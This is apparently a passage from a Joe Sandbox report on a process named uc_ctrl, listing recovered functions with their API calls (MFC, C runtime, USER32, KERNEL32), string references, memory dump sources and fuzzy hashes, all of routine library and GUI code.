Opcode Fuzzy Hash: 80e1d90bb508856f86d2c3acc5f749b8f3c23b535af6c9e8b1c81d84321e9505
Instruction Fuzzy Hash: 2141B235A04219DBCF15CFE8C880BEDBBB5BF59318F450099E901AB158CBB49A5ACB52

Function 6CF10A01 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF10A08

Part of subcall function 6CF0A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6CF0A243

Part of subcall function 6CF546CA: __EH_prolog3.LIBCMT ref: 6CF546D1

Part of subcall function 6CF5602D: __EH_prolog3.LIBCMT ref: 6CF56034

Strings

MFCComboBox_ShowRasterTypeFonts, xrefs: 6CF10A7E
MFCComboBox_DrawUsingFont, xrefs: 6CF10A41
MFCComboBox_ShowDeviceTypeFonts, xrefs: 6CF10A93
MFCComboBox_ShowTrueTypeFonts, xrefs: 6CF10A69

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharMultiWide
String ID: MFCComboBox_DrawUsingFont$MFCComboBox_ShowDeviceTypeFonts$MFCComboBox_ShowRasterTypeFonts$MFCComboBox_ShowTrueTypeFonts
API String ID: 2949695960-1084877596
Opcode ID: 616d664146d2a77843a7e40e7f0b2ff9ed6cf21d87f4ffc568f7fbde049c0793
Instruction ID: 7b799563b56b221dc612f91a7dc19afda5902189b0cfca976450d939a4a44a43
Opcode Fuzzy Hash: 616d664146d2a77843a7e40e7f0b2ff9ed6cf21d87f4ffc568f7fbde049c0793
Instruction Fuzzy Hash: AB21DDB1D0120D9EEF01DFA0C890FFEBBB8AF14258F50442AE511E6680DB749A59CB60

Function 6CF04FEE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

Edit, xrefs: 6CF05045

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: 1c41c3d387e6b0c4c7e7907574dc78692184a5f9631ed6ba6161473bffa01f22
Instruction ID: df67891270827562d1bbc97cb6839f843a4c29bd6c8e5429af597c7445a5fd8a
Opcode Fuzzy Hash: 1c41c3d387e6b0c4c7e7907574dc78692184a5f9631ed6ba6161473bffa01f22
Instruction Fuzzy Hash: CA11A931741203AAEB301A35CD19FBE76B8AB05B89F204529E5A395DA0CBE1D401E694

Function 6D1A4270 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6D1A4309
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000000,00000000), ref: 6D1A4318

Part of subcall function 6D1A41A1: __EH_prolog3_GS.LIBCMT ref: 6D1A41A8

Strings

ios_base::failbit set, xrefs: 6D1A42C7
ios_base::badbit set, xrefs: 6D1A429E
ios_base::eofbit set, xrefs: 6D1A42E6

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@ExceptionH_prolog3_Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 714713935-1866435925
Opcode ID: 99ee047605fd21042c31e0808593d4f574349c0df4ad7f4766538a327105e5f0
Instruction ID: 8fe8a94cd69656fd1003c74497e5bad8a9656a32072f9c3def8ddf0f4ecc5a41
Opcode Fuzzy Hash: 99ee047605fd21042c31e0808593d4f574349c0df4ad7f4766538a327105e5f0
Instruction Fuzzy Hash: 6F11297411C2086FE300DB94EC45F7973E8AB24314F494819F69C59089EFF0A916C623

Function 00B31000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(click,000000FF,59AF50C8), ref: 00B31038
??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(00B3A9B4,000000FF), ref: 00B3104D
??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(00B3A9B4,000000FF,?,?,?,?,?,00B39340,000000FF), ref: 00B31093
??0CDuiString@UiLib@@QAE@PB_WH@Z.UC_GUILIB(00B3A9B4,000000FF,?,?,?,?,?,00B39340,000000FF), ref: 00B310A5

Part of subcall function 00B383C4: __onexit.LIBCMT ref: 00B383CA

Strings

click, xrefs: 00B31033

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: Lib@@String@$__onexit
String ID: click
API String ID: 2284767783-3136733728
Opcode ID: 5682374bf74beee01e24bfa6c26c6c35d3c1c6620b599294c6faa55a3f249840
Instruction ID: 956f9e31a802c58fcdd84bc4379f0e3f1ecbc7b0f8317573779999e2a08a3ff6
Opcode Fuzzy Hash: 5682374bf74beee01e24bfa6c26c6c35d3c1c6620b599294c6faa55a3f249840
Instruction Fuzzy Hash: E1213BB1D48259AADB00CF98CD157AEBBF4EB05734F204799E474273E1DBB916848BC1

Function 00B38100 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00B31727,00000000), ref: 00B38108
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00B31727,00000000), ref: 00B38115
_CxxThrowException.VCRUNTIME140(?,00B3C4A4), ref: 00B38C95
_CxxThrowException.VCRUNTIME140(?,00B3C4F8), ref: 00B38CB2

Strings

Unknown exception, xrefs: 00B38CBF

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID: Unknown exception
API String ID: 4113974480-410509341
Opcode ID: 6668f41132349aa1365f0860a114120459682513527a95f1c1dee8d9b15d816c
Instruction ID: 58cb28493154a2ccf909f2a884232425c052354f16b99c8b399a8647ee484cb2
Opcode Fuzzy Hash: 6668f41132349aa1365f0860a114120459682513527a95f1c1dee8d9b15d816c
Instruction Fuzzy Hash: F3F0C23890070D76CF00F6A4EC568AE77EC9E00710FB081E0B814B5092EF70EA1686D2

Function 6D032758 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,6D032709,?,?,6D0326A9,?,6D0F16A0,0000000C,6D0327DC,00000000,00000000), ref: 6D032778
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6D03278B
FreeLibrary.KERNEL32(00000000,?,?,?,6D032709,?,?,6D0326A9,?,6D0F16A0,0000000C,6D0327DC,00000000,00000000,00000001,6D0219F9), ref: 6D0327AE

Strings

CorExitProcess, xrefs: 6D032783
mscoree.dll, xrefs: 6D032771

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 050c314ddc8ac188377e21562fd35ac556ccfe06707ff1b839669589275cdca2
Instruction ID: 44f303d7e201a38e3fb236a85520ca4ccff3371fc08b28f1039eebcbafdc38ed
Opcode Fuzzy Hash: 050c314ddc8ac188377e21562fd35ac556ccfe06707ff1b839669589275cdca2
Instruction Fuzzy Hash: 60F06D31A1111AFBEF159FA0CD49BAEBFB8EF09715F0100A9FC09A2251DF718A40CAD1

Function 6D014C16 Relevance: 7.7, APIs: 5, Instructions: 221windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 6D014D77
SendMessageW.USER32(?,00000187,?,00000000), ref: 6D014DD1
GetParent.USER32(?), ref: 6D014DE6
SendMessageW.USER32(?,00000111,?,?), ref: 6D014E14
SendMessageW.USER32(?,00000185,00000001,?), ref: 6D014E29

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$Parent
String ID:
API String ID: 1020955656-0
Opcode ID: 6a61be01b285cb2a1d3317bbc6c06df3d9ac3637a40f4c92c92fd1fd27ef0804
Instruction ID: 3dce23bfbdb87a73b92453927f99b7efb018197e1e827a2c41523358ed0457c5
Opcode Fuzzy Hash: 6a61be01b285cb2a1d3317bbc6c06df3d9ac3637a40f4c92c92fd1fd27ef0804
Instruction Fuzzy Hash: 3661A271A04215BBEB158FA8CC84B5ABBB9FF88358B14806DF909DF755DB30DD118BA0

Function 6CFE247C Relevance: 7.7, APIs: 5, Instructions: 155stringCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CFE2486
GlobalLock.KERNEL32(?,000001F4,6CFE2445,00000000,?,?,6CF67052,?,00000000,0014000C,00000000,?,00000000), ref: 6CFE24A7

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

lstrcmpW.KERNEL32(00000000,00000000,?,00000001,0014000C,00000000,?,?,6CF67052,?,00000000,0014000C,00000000), ref: 6CFE2549
lstrcmpW.KERNEL32(?,00000000,6CF67052,?,?,6CF67052,?,00000000,0014000C,00000000), ref: 6CFE2579
lstrcmpW.KERNEL32(?,00000000,?,?,?,6CF67052,?,00000000,0014000C,00000000), ref: 6CFE259F

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: lstrcmp$Exception@8GlobalH_prolog3LockThrow
String ID:
API String ID: 1434931896-0
Opcode ID: 7754fd0da33920368334e4b128d1a1f9b56f20cd90e63ff07b523646ddc2ae0a
Instruction ID: 792410f23f4ebf6c2743078724497b1dde1d895b8771309b97b06fc30923c690
Opcode Fuzzy Hash: 7754fd0da33920368334e4b128d1a1f9b56f20cd90e63ff07b523646ddc2ae0a
Instruction Fuzzy Hash: 1161717190170AEFEB12DF60C999BEDB7F4BF08308F10455DD5265AAA1EB729A85CF00

Function 6D1ACCE0 Relevance: 7.6, APIs: 5, Instructions: 146COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1ACCE7
fgetwc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D1ACD3B
ungetc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?), ref: 6D1ACE70

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_fgetwcungetc
String ID:
API String ID: 3107860115-0
Opcode ID: dd5a86ce942a94dddf36fc67b7dea019b26a51371b7f2edbe379f679b8ebc437
Instruction ID: 86ec5517489ed8a0ea45137a5ea5f5296082abda5ccb06bb69b0e1a1c1f9cf27
Opcode Fuzzy Hash: dd5a86ce942a94dddf36fc67b7dea019b26a51371b7f2edbe379f679b8ebc437
Instruction Fuzzy Hash: 6451513D94410ACFDB15CFA8D490AEDBBB6FF19314F184129E502BB289D7B09D85CB91

Function 6CF56D4D Relevance: 7.6, APIs: 5, Instructions: 124COMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000000,6CF20CBC), ref: 6CF56D7C

Part of subcall function 6CEF5BCB: ClientToScreen.USER32(?,?), ref: 6CEF5BDA
Part of subcall function 6CEF5BCB: ClientToScreen.USER32(?,?), ref: 6CEF5BE7

PtInRect.USER32(6CF20CBC,?,?), ref: 6CF56D96
PtInRect.USER32(?,?,?), ref: 6CF56E0F

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ClientRect$Screen
String ID:
API String ID: 3187875807-0
Opcode ID: 3fa38985d539040b804ce6a1a0578a110e35b86411aa03e17a4f0343ca1cb659
Instruction ID: 3fe183d5b1d2a4f6345559a2115eb1fe249ac4093e36587add0c1f0cc6798b28
Opcode Fuzzy Hash: 3fa38985d539040b804ce6a1a0578a110e35b86411aa03e17a4f0343ca1cb659
Instruction Fuzzy Hash: 8B411F72A0110AEFCF00CFA8C944ADEBBB5EF19304F504869FA15EB700D771AA55CB54

Function 6CF16F21 Relevance: 7.6, APIs: 5, Instructions: 121windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF16F28
__Init_thread_footer.LIBCMT ref: 6CF16F7B
GetCursorPos.USER32(?), ref: 6CF16FBC
ScreenToClient.USER32(?,?), ref: 6CF16FC9
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 6CF1709E

Part of subcall function 6D0214D2: __onexit.LIBCMT ref: 6D0214D8

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: ClientCursorH_prolog3Init_thread_footerMessageScreenSend__onexit
String ID:
API String ID: 573583934-0
Opcode ID: d86f6e3feb0676ad85b33a27396b6c0f73cfc7c5956b9ca8c15a7f6f7a40f033
Instruction ID: cf3bb5abe9c5b06b8a733b037b1904ad52bf93d86caca582c83a2af8ff5da2b8
Opcode Fuzzy Hash: d86f6e3feb0676ad85b33a27396b6c0f73cfc7c5956b9ca8c15a7f6f7a40f033
Instruction Fuzzy Hash: F941C231A05206DFDF05CF64C890BAEB7B6BF44358F10422EE5259BA90DB75AA44CB41

Function 6CF0EDA2 Relevance: 7.6, APIs: 5, Instructions: 120windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF0EDA9
SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6CF0EDC3
GetWindowRect.USER32(?,?), ref: 6CF0EE67
ReleaseCapture.USER32 ref: 6CF0EF47

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CaptureH_prolog3_MessageRectReleaseSendWindow
String ID:
API String ID: 1034054131-0
Opcode ID: 034e5c202c0ca077897491c42d15d63fff5e47c6512e2a2f12642b04ad363f3e
Instruction ID: c9145fea5f4d695798ec4d508bf977bd023673add7a7c8ea9768186a15251231
Opcode Fuzzy Hash: 034e5c202c0ca077897491c42d15d63fff5e47c6512e2a2f12642b04ad363f3e
Instruction Fuzzy Hash: FA516C35A062159FDF018F50C894BED7BB9EF08715F1900B9ED08AF299CB796441DFA1

Function 6D1A8530 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1A8537
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1A85A9
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,0000004C,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1A8600
_swprintf_s.MSPDB140-MSVCRT ref: 6D1A860D
?_Fput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6D1A8636

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@Ffmt@?$num_put@_Fput@?$num_put@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 1176172388-0
Opcode ID: 3d92b35c163560a7d550e9e724cf87fa3aa1a9d11a811e94d17372f7c2e8c804
Instruction ID: 99c79fe35c8941e10fa673c1998aabaf05b4274fc2b63645b88347223b8d758f
Opcode Fuzzy Hash: 3d92b35c163560a7d550e9e724cf87fa3aa1a9d11a811e94d17372f7c2e8c804
Instruction Fuzzy Hash: 8D31C1B5D1421AEBDF15DF94EC41AEEBBB9FF48300F084115FA00A7244E3B5A960CB91

Function 6D1B0570 Relevance: 7.6, APIs: 5, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1B0577
frexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B05E9
?_Ffmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADDH@Z.MSVCP140(?,?,0000004C,?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 6D1B0640
_swprintf_s.MSPDB140-MSVCRT ref: 6D1B064D
?_Fput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AAVios_base@2@GPBDI@Z.MSVCP140(?,?,?,?,?,?,?,00000000), ref: 6D1B0676

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$ostreambuf_iterator@$Ffmt@?$num_put@_Fput@?$num_put@G@std@@@2@G@std@@@std@@@std@@H_prolog3_U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@_swprintf_sfrexp
String ID:
API String ID: 3084824951-0
Opcode ID: 1e42285769fffb71e3c7573d8ed73f7e2be28a0cfb6bf6fc2e361dba712dace8
Instruction ID: 70ba487c4c19613ed3f2eb7b836c9da334e52070628acaf23104e0d6e0d02872
Opcode Fuzzy Hash: 1e42285769fffb71e3c7573d8ed73f7e2be28a0cfb6bf6fc2e361dba712dace8
